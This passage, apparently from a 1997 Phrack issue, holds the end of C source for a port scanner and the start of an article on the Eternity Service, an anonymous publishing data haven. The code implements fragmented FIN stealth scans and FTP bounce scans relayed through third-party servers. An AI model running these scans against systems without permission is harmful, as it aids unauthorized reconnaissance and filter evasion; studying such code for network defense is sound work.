|||
|
printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",
|
|||
|
sd, ntohs(ip->tot_len), inet_ntoa(*victim),
|
|||
|
sizeof(struct sockaddr_in));
|
|||
|
if ((res = sendto(sd, packet, ntohs(ip->tot_len), 0,
|
|||
|
(struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
|
|||
|
{
|
|||
|
perror("sendto in send_tcp_raw");
|
|||
|
if (source_malloced) free(source);
|
|||
|
return -1;
|
|||
|
}
|
|||
|
if (debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);
|
|||
|
|
|||
|
if (source_malloced) free(source);
|
|||
|
return res;
|
|||
|
}
|
|||
|
|
|||
|
/* A simple program I wrote to help in debugging, shows the important fields
|
|||
|
of a TCP packet*/
|
|||
|
int readtcppacket(char *packet, int readdata) {
|
|||
|
struct iphdr *ip = (struct iphdr *) packet;
|
|||
|
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
|
|||
|
char *data = packet + sizeof(struct iphdr) + sizeof(struct tcphdr);
|
|||
|
int tot_len;
|
|||
|
struct in_addr bullshit, bullshit2;
|
|||
|
char sourcehost[16];
|
|||
|
int i;
|
|||
|
|
|||
|
if (!packet) {
|
|||
|
fprintf(stderr, "readtcppacket: packet is NULL!\n");
|
|||
|
return -1;
|
|||
|
}
|
|||
|
bullshit.s_addr = ip->saddr; bullshit2.s_addr = ip->daddr;
|
|||
|
tot_len = ntohs(ip->tot_len);
|
|||
|
strncpy(sourcehost, inet_ntoa(bullshit), 16);
|
|||
|
i = 4 * (ntohs(ip->ihl) + ntohs(tcp->th_off));
|
|||
|
if (ip->protocol == IPPROTO_TCP)
|
|||
|
if (ip->frag_off) printf("Packet is fragmented, offset field: %u",
|
|||
|
ip->frag_off);
|
|||
|
else {
|
|||
|
printf("TCP packet: %s:%d -> %s:%d (total: %d bytes)\n", sourcehost,
|
|||
|
ntohs(tcp->th_sport), inet_ntoa(bullshit2),
|
|||
|
ntohs(tcp->th_dport), tot_len);
|
|||
|
printf("Flags: ");
|
|||
|
if (!tcp->th_flags) printf("(none)");
|
|||
|
if (tcp->th_flags & TH_RST) printf("RST ");
|
|||
|
if (tcp->th_flags & TH_SYN) printf("SYN ");
|
|||
|
if (tcp->th_flags & TH_ACK) printf("ACK ");
|
|||
|
if (tcp->th_flags & TH_PUSH) printf("PSH ");
|
|||
|
if (tcp->th_flags & TH_FIN) printf("FIN ");
|
|||
|
if (tcp->th_flags & TH_URG) printf("URG ");
|
|||
|
printf("\n");
|
|||
|
printf("ttl: %hi ", ip->ttl);
|
|||
|
if (tcp->th_flags & (TH_SYN | TH_ACK)) printf("Seq: %lu\tAck: %lu\n",
|
|||
|
tcp->th_seq, tcp->th_ack);
|
|||
|
else if (tcp->th_flags & TH_SYN) printf("Seq: %lu\n", ntohl(tcp->th_seq));
|
|||
|
else if (tcp->th_flags & TH_ACK) printf("Ack: %lu\n", ntohl(tcp->th_ack));
|
|||
|
}
|
|||
|
if (readdata && i < tot_len) {
|
|||
|
printf("Data portion:\n");
|
|||
|
while(i < tot_len) printf("%2X%c", data[i], (++i%16)? ' ' : '\n');
|
|||
|
printf("\n");
|
|||
|
}
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
/* We don't exactly need real crypto here (thank god!)\n"*/
|
|||
|
int shortfry(unsigned short *ports) {
|
|||
|
int num;
|
|||
|
unsigned short tmp;
|
|||
|
int i;
|
|||
|
|
|||
|
for(i=0; i < number_of_ports; i++) {
|
|||
|
num = rand() % (number_of_ports);
|
|||
|
tmp = ports[i];
|
|||
|
ports[i] = ports[num];
|
|||
|
ports[num] = tmp;
|
|||
|
}
|
|||
|
return 1;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/* Much of this is swiped from my send_tcp_raw function above, which
|
|||
|
doesn't support fragmentation */
|
|||
|
int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim,
|
|||
|
int sport, int dport, int flags) {
|
|||
|
|
|||
|
struct pseudo_header {
|
|||
|
/*for computing TCP checksum, see TCP/IP Illustrated p. 145 */
|
|||
|
unsigned long s_addr;
|
|||
|
unsigned long d_addr;
|
|||
|
char zer0;
|
|||
|
unsigned char protocol;
|
|||
|
unsigned short length;
|
|||
|
};
|
|||
|
/*In this placement we get data and some field alignment so we aren't wasting
|
|||
|
too much to compute the TCP checksum.*/
|
|||
|
char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + 100];
|
|||
|
struct iphdr *ip = (struct iphdr *) packet;
|
|||
|
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
|
|||
|
struct pseudo_header *pseudo = (struct pseudo_header *) (packet + sizeof(struct iphdr) - sizeof(struct pseudo_header));
|
|||
|
char *frag2 = packet + sizeof(struct iphdr) + 16;
|
|||
|
struct iphdr *ip2 = (struct iphdr *) (frag2 - sizeof(struct iphdr));
|
|||
|
int res;
|
|||
|
struct sockaddr_in sock;
|
|||
|
int id;
|
|||
|
|
|||
|
/*Why do we have to fill out this damn thing? This is a raw packet, after all */
|
|||
|
sock.sin_family = AF_INET;
|
|||
|
sock.sin_port = htons(dport);
|
|||
|
sock.sin_addr.s_addr = victim->s_addr;
|
|||
|
|
|||
|
bzero(packet, sizeof(struct iphdr) + sizeof(struct tcphdr));
|
|||
|
|
|||
|
pseudo->s_addr = source->s_addr;
|
|||
|
pseudo->d_addr = victim->s_addr;
|
|||
|
pseudo->protocol = IPPROTO_TCP;
|
|||
|
pseudo->length = htons(sizeof(struct tcphdr));
|
|||
|
|
|||
|
tcp->th_sport = htons(sport);
|
|||
|
tcp->th_dport = htons(dport);
|
|||
|
tcp->th_seq = rand() + rand();
|
|||
|
|
|||
|
tcp->th_off = 5 /*words*/;
|
|||
|
tcp->th_flags = flags;
|
|||
|
|
|||
|
tcp->th_win = htons(2048); /* Who cares */
|
|||
|
|
|||
|
tcp->th_sum = in_cksum((unsigned short *)pseudo,
|
|||
|
sizeof(struct tcphdr) + sizeof(struct pseudo_header));
|
|||
|
|
|||
|
/* Now for the ip header of frag1 */
|
|||
|
bzero(packet, sizeof(struct iphdr));
|
|||
|
ip->version = 4;
|
|||
|
ip->ihl = 5;
|
|||
|
/*RFC 791 allows 8 octet frags, but I get "operation not permitted" (EPERM)
|
|||
|
when I try that. */
|
|||
|
ip->tot_len = htons(sizeof(struct iphdr) + 16);
|
|||
|
id = ip->id = rand();
|
|||
|
ip->frag_off = htons(MORE_FRAGMENTS);
|
|||
|
ip->ttl = 255;
|
|||
|
ip->protocol = IPPROTO_TCP;
|
|||
|
ip->saddr = source->s_addr;
|
|||
|
ip->daddr = victim->s_addr;
|
|||
|
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
|
|||
|
|
|||
|
if (debugging > 1) {
|
|||
|
printf("Raw TCP packet fragment #1 creation completed! Here it is:\n");
|
|||
|
hdump(packet,20);
|
|||
|
}
|
|||
|
if (debugging > 1)
|
|||
|
printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",
|
|||
|
sd, ntohs(ip->tot_len), inet_ntoa(*victim),
|
|||
|
sizeof(struct sockaddr_in));
|
|||
|
if ((res = sendto(sd, packet, ntohs(ip->tot_len), 0,
|
|||
|
(struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
|
|||
|
{
|
|||
|
perror("sendto in send_syn_fragz");
|
|||
|
return -1;
|
|||
|
}
|
|||
|
if (debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);
|
|||
|
|
|||
|
/* Create the second fragment */
|
|||
|
bzero(ip2, sizeof(struct iphdr));
|
|||
|
ip2->version = 4;
|
|||
|
ip2->ihl = 5;
|
|||
|
ip2->tot_len = htons(sizeof(struct iphdr) + 4); /* the rest of our TCP packet */
|
|||
|
ip2->id = id;
|
|||
|
ip2->frag_off = htons(2);
|
|||
|
ip2->ttl = 255;
|
|||
|
ip2->protocol = IPPROTO_TCP;
|
|||
|
ip2->saddr = source->s_addr;
|
|||
|
ip2->daddr = victim->s_addr;
|
|||
|
ip2->check = in_cksum((unsigned short *)ip2, sizeof(struct iphdr));
|
|||
|
if (debugging > 1) {
|
|||
|
printf("Raw TCP packet fragment creation completed! Here it is:\n");
|
|||
|
hdump(packet,20);
|
|||
|
}
|
|||
|
if (debugging > 1)
|
|||
|
printf("\nTrying sendto(%d , ip2, %d, 0 , %s , %d)\n", sd,
|
|||
|
ntohs(ip2->tot_len), inet_ntoa(*victim), sizeof(struct sockaddr_in));
|
|||
|
if ((res = sendto(sd, ip2, ntohs(ip2->tot_len), 0,
|
|||
|
(struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
|
|||
|
{
|
|||
|
perror("sendto in send_tcp_raw");
|
|||
|
return -1;
|
|||
|
}
|
|||
|
return 1;
|
|||
|
}
|
|||
|
|
|||
|
/* Hex dump */
|
|||
|
void hdump(unsigned char *packet, int len) {
|
|||
|
unsigned int i=0, j=0;
|
|||
|
|
|||
|
printf("Here it is:\n");
|
|||
|
|
|||
|
for(i=0; i < len; i++){
|
|||
|
j = (unsigned) (packet[i]);
|
|||
|
printf("%-2X ", j);
|
|||
|
if (!((i+1)%16))
|
|||
|
printf("\n");
|
|||
|
else if (!((i+1)%4))
|
|||
|
printf(" ");
|
|||
|
}
|
|||
|
printf("\n");
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
portlist fin_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
struct in_addr *source, int fragment, portlist *ports) {
|
|||
|
|
|||
|
int rawsd, tcpsd;
|
|||
|
int done = 0, badport, starttime, someleft, i, j=0, retries=2;
|
|||
|
int source_malloc = 0;
|
|||
|
int waiting_period = retries, sockaddr_in_size = sizeof(struct sockaddr_in);
|
|||
|
int bytes, dupesinarow = 0;
|
|||
|
unsigned long timeout;
|
|||
|
struct hostent *myhostent;
|
|||
|
char response[65535], myname[513];
|
|||
|
struct iphdr *ip = (struct iphdr *) response;
|
|||
|
struct tcphdr *tcp;
|
|||
|
unsigned short portno[max_parallel_sockets], trynum[max_parallel_sockets];
|
|||
|
struct sockaddr_in stranger;
|
|||
|
|
|||
|
|
|||
|
timeout = (global_delay)? global_delay : (global_rtt)? (1.2 * global_rtt) + 10000 : 1e5;
|
|||
|
bzero(&stranger, sockaddr_in_size);
|
|||
|
bzero(portno, max_parallel_sockets * sizeof(unsigned short));
|
|||
|
bzero(trynum, max_parallel_sockets * sizeof(unsigned short));
|
|||
|
starttime = time(NULL);
|
|||
|
|
|||
|
|
|||
|
if (debugging || verbose)
|
|||
|
printf("Initiating FIN stealth scan against %s (%s), sleep delay: %ld useconds\n", current_name, inet_ntoa(target), timeout);
|
|||
|
|
|||
|
if (!source) {
|
|||
|
if (ouraddr.s_addr) {
|
|||
|
source = &ouraddr;
|
|||
|
}
|
|||
|
else {
|
|||
|
source = safe_malloc(sizeof(struct in_addr));
|
|||
|
source_malloc = 1;
|
|||
|
if (gethostname(myname, MAXHOSTNAMELEN) ||
|
|||
|
!(myhostent = gethostbyname(myname)))
|
|||
|
fatal("Your system is fucked up.\n");
|
|||
|
memcpy(source, myhostent->h_addr_list[0], sizeof(struct in_addr));
|
|||
|
}
|
|||
|
if (debugging || verbose)
|
|||
|
printf("We skillfully deduced that your address is %s\n",
|
|||
|
inet_ntoa(*source));
|
|||
|
}
|
|||
|
|
|||
|
if ((rawsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
|
|||
|
perror("socket trobles in fin_scan");
|
|||
|
|
|||
|
if ((tcpsd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0 )
|
|||
|
perror("socket trobles in fin_scan");
|
|||
|
|
|||
|
unblock_socket(tcpsd);
|
|||
|
while(!done) {
|
|||
|
for(i=0; i < max_parallel_sockets; i++) {
|
|||
|
if (!portno[i] && portarray[j]) {
|
|||
|
portno[i] = portarray[j++];
|
|||
|
}
|
|||
|
if (portno[i]) {
|
|||
|
if (fragment)
|
|||
|
send_small_fragz(rawsd, source, &target, MAGIC_PORT, portno[i], TH_FIN);
|
|||
|
else send_tcp_raw(rawsd, source , &target, MAGIC_PORT,
|
|||
|
portno[i], 0, 0, TH_FIN, 0, 0, 0);
|
|||
|
usleep(10000); /* *WE* normally do not need this, but the target
|
|||
|
lamer often does */
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
usleep(timeout);
|
|||
|
dupesinarow = 0;
|
|||
|
while ((bytes = recvfrom(tcpsd, response, 65535, 0, (struct sockaddr *)
|
|||
|
&stranger, &sockaddr_in_size)) > 0)
|
|||
|
if (ip->saddr == target.s_addr) {
|
|||
|
tcp = (struct tcphdr *) (response + 4 * ip->ihl);
|
|||
|
if (tcp->th_flags & TH_RST) {
|
|||
|
badport = ntohs(tcp->th_sport);
|
|||
|
if (debugging > 1) printf("Nothing open on port %d\n", badport);
|
|||
|
/* delete the port from active scanning */
|
|||
|
for(i=0; i < max_parallel_sockets; i++)
|
|||
|
if (portno[i] == badport) {
|
|||
|
if (debugging && trynum[i] > 0)
|
|||
|
printf("Bad port %d caught on fin scan, try number %d\n",
|
|||
|
badport, trynum[i] + 1);
|
|||
|
trynum[i] = 0;
|
|||
|
portno[i] = 0;
|
|||
|
break;
|
|||
|
}
|
|||
|
if (i == max_parallel_sockets) {
|
|||
|
if (debugging)
|
|||
|
printf("Late packet or dupe, deleting port %d.\n", badport);
|
|||
|
dupesinarow++;
|
|||
|
if (ports) deleteport(ports, badport, IPPROTO_TCP);
|
|||
|
}
|
|||
|
}
|
|||
|
else
|
|||
|
if (debugging > 1) {
|
|||
|
printf("Strange packet from target%d! Here it is:\n",
|
|||
|
ntohs(tcp->th_sport));
|
|||
|
if (bytes >= 40) readtcppacket(response,1);
|
|||
|
else hdump(response,bytes);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/* adjust waiting time if neccessary */
|
|||
|
if (dupesinarow > 6) {
|
|||
|
if (debugging || verbose)
|
|||
|
printf("Slowing down send frequency due to multiple late packets.\n");
|
|||
|
if (timeout < 10 * ((global_delay)? global_delay: global_rtt + 20000)) timeout *= 1.5;
|
|||
|
else {
|
|||
|
printf("Too many late packets despite send frequency decreases, skipping scan.\n");
|
|||
|
if (source_malloc) free(source);
|
|||
|
return *ports;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/* Ok, collect good ports (those that we haven't received responses too
|
|||
|
after all our retries */
|
|||
|
someleft = 0;
|
|||
|
for(i=0; i < max_parallel_sockets; i++)
|
|||
|
if (portno[i]) {
|
|||
|
if (++trynum[i] >= retries) {
|
|||
|
if (verbose || debugging)
|
|||
|
printf("Good port %d detected by fin_scan!\n", portno[i]);
|
|||
|
addport(ports, portno[i], IPPROTO_TCP, NULL);
|
|||
|
send_tcp_raw( rawsd, source, &target, MAGIC_PORT, portno[i], 0, 0,
|
|||
|
TH_FIN, 0, 0, 0);
|
|||
|
portno[i] = trynum[i] = 0;
|
|||
|
}
|
|||
|
else someleft = 1;
|
|||
|
}
|
|||
|
|
|||
|
if (!portarray[j] && (!someleft || --waiting_period <= 0)) done++;
|
|||
|
}
|
|||
|
|
|||
|
if (debugging || verbose)
|
|||
|
printf("The TCP stealth FIN scan took %ld seconds to scan %d ports.\n",
|
|||
|
time(NULL) - starttime, number_of_ports);
|
|||
|
if (source_malloc) free(source);
|
|||
|
close(tcpsd);
|
|||
|
close(rawsd);
|
|||
|
return *ports;
|
|||
|
}
|
|||
|
|
|||
|
int ftp_anon_connect(struct ftpinfo *ftp) {
|
|||
|
int sd;
|
|||
|
struct sockaddr_in sock;
|
|||
|
int res;
|
|||
|
char recvbuf[2048];
|
|||
|
char command[512];
|
|||
|
|
|||
|
if (verbose || debugging)
|
|||
|
printf("Attempting connection to ftp://%s:%s@%s:%i\n", ftp->user, ftp->pass,
|
|||
|
ftp->server_name, ftp->port);
|
|||
|
|
|||
|
if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
|
|||
|
perror("Couldn't create ftp_anon_connect socket");
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
sock.sin_family = AF_INET;
|
|||
|
sock.sin_addr.s_addr = ftp->server.s_addr;
|
|||
|
sock.sin_port = htons(ftp->port);
|
|||
|
res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));
|
|||
|
if (res < 0 ) {
|
|||
|
printf("Your ftp bounce proxy server won't talk to us!\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if (verbose || debugging) printf("Connected:");
|
|||
|
while ((res = recvtime(sd, recvbuf, 2048,7)) > 0)
|
|||
|
if (debugging || verbose) {
|
|||
|
recvbuf[res] = '\0';
|
|||
|
printf("%s", recvbuf);
|
|||
|
}
|
|||
|
if (res < 0) {
|
|||
|
perror("recv problem from ftp bounce server");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
snprintf(command, 511, "USER %s\r\n", ftp->user);
|
|||
|
send(sd, command, strlen(command), 0);
|
|||
|
res = recvtime(sd, recvbuf, 2048,12);
|
|||
|
if (res <= 0) {
|
|||
|
perror("recv problem from ftp bounce server");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
recvbuf[res] = '\0';
|
|||
|
if (debugging) printf("sent username, received: %s", recvbuf);
|
|||
|
if (recvbuf[0] == '5') {
|
|||
|
printf("Your ftp bounce server doesn't like the username \"%s\"\n",
|
|||
|
ftp->user);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
snprintf(command, 511, "PASS %s\r\n", ftp->pass);
|
|||
|
send(sd, command, strlen(command), 0);
|
|||
|
res = recvtime(sd, recvbuf, 2048,12);
|
|||
|
if (res < 0) {
|
|||
|
perror("recv problem from ftp bounce server\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if (!res) printf("Timeout from bounce server ...");
|
|||
|
else {
|
|||
|
recvbuf[res] = '\0';
|
|||
|
if (debugging) printf("sent password, received: %s", recvbuf);
|
|||
|
if (recvbuf[0] == '5') {
|
|||
|
fprintf(stderr, "Your ftp bounce server refused login combo (%s/%s)\n",
|
|||
|
ftp->user, ftp->pass);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
}
|
|||
|
while ((res = recvtime(sd, recvbuf, 2048,2)) > 0)
|
|||
|
if (debugging) {
|
|||
|
recvbuf[res] = '\0';
|
|||
|
printf("%s", recvbuf);
|
|||
|
}
|
|||
|
if (res < 0) {
|
|||
|
perror("recv problem from ftp bounce server");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
if (verbose) printf("Login credentials accepted by ftp server!\n");
|
|||
|
|
|||
|
ftp->sd = sd;
|
|||
|
return sd;
|
|||
|
}
|
|||
|
|
|||
|
int recvtime(int sd, char *buf, int len, int seconds) {
|
|||
|
|
|||
|
int res;
|
|||
|
struct timeval timeout = {seconds, 0};
|
|||
|
fd_set readfd;
|
|||
|
|
|||
|
FD_ZERO(&readfd);
|
|||
|
FD_SET(sd, &readfd);
|
|||
|
res = select(sd + 1, &readfd, NULL, NULL, &timeout);
|
|||
|
if (res > 0 ) {
|
|||
|
res = recv(sd, buf, len, 0);
|
|||
|
if (res >= 0) return res;
|
|||
|
perror("recv in recvtime");
|
|||
|
return 0;
|
|||
|
}
|
|||
|
else if (!res) return 0;
|
|||
|
perror("select() in recvtime");
|
|||
|
return -1;
|
|||
|
}
|
|||
|
|
|||
|
portlist bounce_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
struct ftpinfo *ftp, portlist *ports) {
|
|||
|
int starttime, res , sd = ftp->sd, i=0;
|
|||
|
char *t = (char *)⌖
|
|||
|
int retriesleft = FTP_RETRIES;
|
|||
|
char recvbuf[2048];
|
|||
|
char targetstr[20];
|
|||
|
char command[512];
|
|||
|
snprintf(targetstr, 20, "%d,%d,%d,%d,0,", UC(t[0]), UC(t[1]), UC(t[2]), UC(t[3]));
|
|||
|
starttime = time(NULL);
|
|||
|
if (verbose || debugging)
|
|||
|
printf("Initiating TCP ftp bounce scan against %s (%s)\n",
|
|||
|
current_name, inet_ntoa(target));
|
|||
|
for(i=0; portarray[i]; i++) {
|
|||
|
snprintf(command, 512, "PORT %s%i\r\n", targetstr, portarray[i]);
|
|||
|
if (send(sd, command, strlen(command), 0) < 0 ) {
|
|||
|
perror("send in bounce_scan");
|
|||
|
if (retriesleft) {
|
|||
|
if (verbose || debugging)
|
|||
|
printf("Our ftp proxy server hung up on us! retrying\n");
|
|||
|
retriesleft--;
|
|||
|
close(sd);
|
|||
|
ftp->sd = ftp_anon_connect(ftp);
|
|||
|
if (ftp->sd < 0) return *ports;
|
|||
|
sd = ftp->sd;
|
|||
|
i--;
|
|||
|
}
|
|||
|
else {
|
|||
|
fprintf(stderr, "Our socket descriptor is dead and we are out of retries. Giving up.\n");
|
|||
|
close(sd);
|
|||
|
ftp->sd = -1;
|
|||
|
return *ports;
|
|||
|
}
|
|||
|
} else { /* Our send is good */
|
|||
|
res = recvtime(sd, recvbuf, 2048,15);
|
|||
|
if (res <= 0) perror("recv problem from ftp bounce server\n");
|
|||
|
|
|||
|
else { /* our recv is good */
|
|||
|
recvbuf[res] = '\0';
|
|||
|
if (debugging) printf("result of port query on port %i: %s",
|
|||
|
portarray[i], recvbuf);
|
|||
|
if (recvbuf[0] == '5') {
|
|||
|
if (portarray[i] > 1023) {
|
|||
|
fprintf(stderr, "Your ftp bounce server sucks, it won't let us feed bogus ports!\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
else {
|
|||
|
fprintf(stderr, "Your ftp bounce server doesn't allow priviliged ports, skipping them.\n");
|
|||
|
while(portarray[i] && portarray[i] < 1024) i++;
|
|||
|
if (!portarray[i]) {
|
|||
|
fprintf(stderr, "And you didn't want to scan any unpriviliged ports. Giving up.\n");
|
|||
|
/* close(sd);
|
|||
|
ftp->sd = -1;
|
|||
|
return *ports;*/
|
|||
|
/* screw this gentle return crap! This is an emergency! */
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
else /* Not an error message */
|
|||
|
if (send(sd, "LIST\r\n", 6, 0) > 0 ) {
|
|||
|
res = recvtime(sd, recvbuf, 2048,12);
|
|||
|
if (res <= 0) perror("recv problem from ftp bounce server\n");
|
|||
|
else {
|
|||
|
recvbuf[res] = '\0';
|
|||
|
if (debugging) printf("result of LIST: %s", recvbuf);
|
|||
|
if (!strncmp(recvbuf, "500", 3)) {
|
|||
|
/* fuck, we are not aligned properly */
|
|||
|
if (verbose || debugging)
|
|||
|
printf("misalignment detected ... correcting.\n");
|
|||
|
res = recvtime(sd, recvbuf, 2048,10);
|
|||
|
}
|
|||
|
if (recvbuf[0] == '1' || recvbuf[0] == '2') {
|
|||
|
if (verbose || debugging) printf("Port number %i appears good.\n",
|
|||
|
portarray[i]);
|
|||
|
addport(ports, portarray[i], IPPROTO_TCP, NULL);
|
|||
|
if (recvbuf[0] == '1') {
|
|||
|
res = recvtime(sd, recvbuf, 2048,5);
|
|||
|
recvbuf[res] = '\0';
|
|||
|
if ((res > 0) && debugging) printf("nxt line: %s", recvbuf);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
if (debugging || verbose)
|
|||
|
printf("Scanned %d ports in %ld seconds via the Bounce scan.\n",
|
|||
|
number_of_ports, time(NULL) - starttime);
|
|||
|
return *ports;
|
|||
|
}
|
|||
|
|
|||
|
/* parse a URL stype ftp string of the form user:pass@server:portno */
|
|||
|
int parse_bounce(struct ftpinfo *ftp, char *url) {
|
|||
|
char *p = url,*q, *s;
|
|||
|
|
|||
|
if ((q = strrchr(url, '@'))) /*we have username and/or pass */ {
|
|||
|
*(q++) = '\0';
|
|||
|
if ((s = strchr(q, ':')))
|
|||
|
{ /* has portno */
|
|||
|
*(s++) = '\0';
|
|||
|
strncpy(ftp->server_name, q, MAXHOSTNAMELEN);
|
|||
|
ftp->port = atoi(s);
|
|||
|
}
|
|||
|
else strncpy(ftp->server_name, q, MAXHOSTNAMELEN);
|
|||
|
|
|||
|
if ((s = strchr(p, ':'))) { /* User AND pass given */
|
|||
|
*(s++) = '\0';
|
|||
|
strncpy(ftp->user, p, 63);
|
|||
|
strncpy(ftp->pass, s, 255);
|
|||
|
}
|
|||
|
else { /* Username ONLY given */
|
|||
|
printf("Assuming %s is a username, and using the default password: %s\n",
|
|||
|
p, ftp->pass);
|
|||
|
strncpy(ftp->user, p, 63);
|
|||
|
}
|
|||
|
}
|
|||
|
else /* no username or password given */
|
|||
|
if ((s = strchr(url, ':'))) { /* portno is given */
|
|||
|
*(s++) = '\0';
|
|||
|
strncpy(ftp->server_name, url, MAXHOSTNAMELEN);
|
|||
|
ftp->port = atoi(s);
|
|||
|
}
|
|||
|
else /* default case, no username, password, or portnumber */
|
|||
|
strncpy(ftp->server_name, url, MAXHOSTNAMELEN);
|
|||
|
|
|||
|
ftp->user[63] = ftp->pass[255] = ftp->server_name[MAXHOSTNAMELEN] = 0;
|
|||
|
|
|||
|
return 1;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* I'll bet you've never seen this function before (yeah right)!
|
|||
|
* standard swiped checksum routine.
|
|||
|
*/
|
|||
|
unsigned short in_cksum(unsigned short *ptr,int nbytes) {
|
|||
|
|
|||
|
register long sum; /* assumes long == 32 bits */
|
|||
|
u_short oddbyte;
|
|||
|
register u_short answer; /* assumes u_short == 16 bits */
|
|||
|
|
|||
|
/*
|
|||
|
* Our algorithm is simple, using a 32-bit accumulator (sum),
|
|||
|
* we add sequential 16-bit words to it, and at the end, fold back
|
|||
|
* all the carry bits from the top 16 bits into the lower 16 bits.
|
|||
|
*/
|
|||
|
|
|||
|
sum = 0;
|
|||
|
while (nbytes > 1) {
|
|||
|
sum += *ptr++;
|
|||
|
nbytes -= 2;
|
|||
|
}
|
|||
|
|
|||
|
/* mop up an odd byte, if necessary */
|
|||
|
if (nbytes == 1) {
|
|||
|
oddbyte = 0; /* make sure top half is zero */
|
|||
|
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
|
|||
|
sum += oddbyte;
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
* Add back carry outs from top 16 bits to low 16 bits.
|
|||
|
*/
|
|||
|
|
|||
|
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
|
|||
|
sum += (sum >> 16); /* add carry */
|
|||
|
answer = ~sum; /* ones-complement, then truncate to 16 bits */
|
|||
|
return(answer);
|
|||
|
}
|
|||
|
<-->
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 12 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ The Eternity Service
|
|||
|
|
|||
|
|
|||
|
--------[ Adam Back <aba@dcs.exe.ac.uk>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Information wants to be Free
|
|||
|
======================================================================
|
|||
|
|
|||
|
Information wants to be free. Censorship sucks. Having your account yanked
|
|||
|
because some censorious idiot doesn't like you discussing hacking tips and
|
|||
|
tricks in USENET sucks. Being tortured to death by some totalitarian
|
|||
|
country's military police for speaking the truth about government corruption
|
|||
|
sucks even more.
|
|||
|
|
|||
|
Have friends who have been hounded by the Feds, SPA software police, or
|
|||
|
system admins who believe in security by obscurity? Had nasty threats made by
|
|||
|
censorious system admins for helpfully drawing their attention to flaws in their
|
|||
|
systems security? Ever had a control freak try to get your web pages
|
|||
|
censored because they don't like its content, or simply because they get their
|
|||
|
kicks harassing people? Ever wanted to publish something on the 'Net but felt
|
|||
|
intimidated by censors?
|
|||
|
|
|||
|
Do you consider that free speech is your right as guaranteed by the first
|
|||
|
amendment of the US constitution, and do you therefore also consider it your
|
|||
|
right to speak anonymously? There are lots of reasons to protect the ability
|
|||
|
to speak anonymously. Anonymous speech is required for truly free speech.
|
|||
|
Strongly anonymous free speech is the freest speech of all. If you're going to
|
|||
|
preserve your ability to speak anonymously, and protect your right to free
|
|||
|
speech you might as well do it properly...
|
|||
|
|
|||
|
Want to do something to help free speech? Want to piss off the 'Net censors?
|
|||
|
Want to piss off censorious Governments? Read on...
|
|||
|
|
|||
|
|
|||
|
What is the Eternity Service?
|
|||
|
======================================================================
|
|||
|
|
|||
|
The Eternity Service is a distributed data-haven, it takes a different
|
|||
|
approach to ensuring unpopular content can be published. Traditionally
|
|||
|
unpopular content has been surreptitiously exchanged via DCCs in IRC, or PGP
|
|||
|
encrypted email, or FSP, or in funny named directories via FTP or via agreed
|
|||
|
file names in incoming directories set drwx-wx-wx. Other kinds of unpopular
|
|||
|
content have been published on web pages for a short time until the censor
|
|||
|
gets to work and threatens the ISP, the publisher's employee, and the publisher
|
|||
|
with law suits. Sometimes these web pages get mirrored, if there is someone
|
|||
|
interested, and spoiling for a fight, or if the content is only censored by
|
|||
|
force of law in one jurisdiction.
|
|||
|
|
|||
|
The Eternity Service deals with censorship more directly: it confronts the
|
|||
|
problem in a more general way with the aim that anyone should be able to
|
|||
|
publish anything anonymously in a convenient persistent, uncensorable
|
|||
|
data-haven.
|
|||
|
|
|||
|
So in a nut-shell that is the design goal of the eternity service, to allow
|
|||
|
anyone to publish material which others would like to censor. For convenience
|
|||
|
the publishing medium addressed is the World Wide Web.
|
|||
|
|
|||
|
Systems for publishing anonymously in USENET news and email already exist:
|
|||
|
cypherpunks type I and type II (mixmaster) remailers.
|
|||
|
|
|||
|
|
|||
|
Why the name `Eternity Service'?
|
|||
|
======================================================================
|
|||
|
|
|||
|
There is a cryptographic paper by Ross Anderson called "The Eternity Service",
|
|||
|
